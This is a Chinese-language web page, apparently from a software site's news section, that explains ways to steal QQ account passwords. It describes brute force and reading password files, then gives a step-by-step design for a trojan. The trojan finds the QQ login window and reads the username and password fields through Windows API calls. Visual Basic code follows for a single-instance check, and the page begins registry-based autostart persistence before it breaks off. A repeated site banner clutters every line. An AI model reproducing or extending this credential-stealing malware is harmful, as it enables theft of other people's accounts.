盗QQ的几种方法:
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 1.穷举法
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 穷举法可以说是最简单有效的方法了.也就是我们通常说的暴力破解.但缺点是用时久速度慢,而且腾迅为了避免乱用暴力,推出了第二代QQ使用字符验证登陆QQ...所以这种方法也随之过时了...本人也不做过多的诠释...
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 2.直接读取密码文件
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 现在QQ的加密越来越强,要用这种方法可以花上不少的功夫,而且在网吧上网的人,都有离开时,删除自己 QQ号目录的习惯,因此有时这种方法根本无能为力。
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 3.监视法
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 就是被众人称为的"木马".也是现在网上最流行的一种盗号方法.通过窗口函数取得密码的方法(适用任何版本的QQ)原理和木马代码我会详细解说.以下是用VB编写的一个列子:
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 设计思路
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 我们知道QQ的密码框并没有进行特别的处理,也就是说用可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 使用 Timer 控件,监视QQ。
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 用遍查窗口的方法(Enum
Windows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 程序编制
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 声明变量、过程及 API 函数,写在 Module1.bas 文件中
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象 VPPWWW.EMU32.COM软件站> 资讯中心 Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象 VPPWWW.EMU32.COM软件站> 资讯中心 Type SECURITY_ATTRIBUTES VPPWWW.EMU32.COM软件站> 资讯中心 nLength As Long VPPWWW.EMU32.COM软件站> 资讯中心 lpSecurityDescriptor As Long VPPWWW.EMU32.COM软件站> 资讯中心 bInheritHandle As Long VPPWWW.EMU32.COM软件站> 资讯中心 End Type VPPWWW.EMU32.COM软件站> 资讯中心 Const PAGE_READWRITE = 1 VPPWWW.EMU32.COM软件站> 资讯中心 Const ERROR_ALREADY_EXISTS = 183& |
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 建立判断程序是否多启动的过程Sub Main() VPPWWW.EMU32.COM软件站> 资讯中心 Dim ynRun As Long VPPWWW.EMU32.COM软件站> 资讯中心 Dim sa As SECURITY_ATTRIBUTES VPPWWW.EMU32.COM软件站> 资讯中心 sa.bInheritHandle = 1 VPPWWW.EMU32.COM软件站> 资讯中心 sa.lpSecurityDescriptor = 0 VPPWWW.EMU32.COM软件站> 资讯中心 sa.nLength = Len(sa) VPPWWW.EMU32.COM软件站> 资讯中心 ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件 VPPWWW.EMU32.COM软件站> 资讯中心 If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出 VPPWWW.EMU32.COM软件站> 资讯中心 CloseHandle ynRun '退出程序前关闭内存映射文件 VPPWWW.EMU32.COM软件站> 资讯中心 End VPPWWW.EMU32.COM软件站> 资讯中心 End If VPPWWW.EMU32.COM软件站> 资讯中心 End Sub |
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 (2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 声明变量、过程及 API 函数,写在 Module1.bas 文件中
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
VPPWWW.EMU32.COM软件站> 资讯中心VPPWWW.EMU32.COM软件站> 资讯中心 Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType A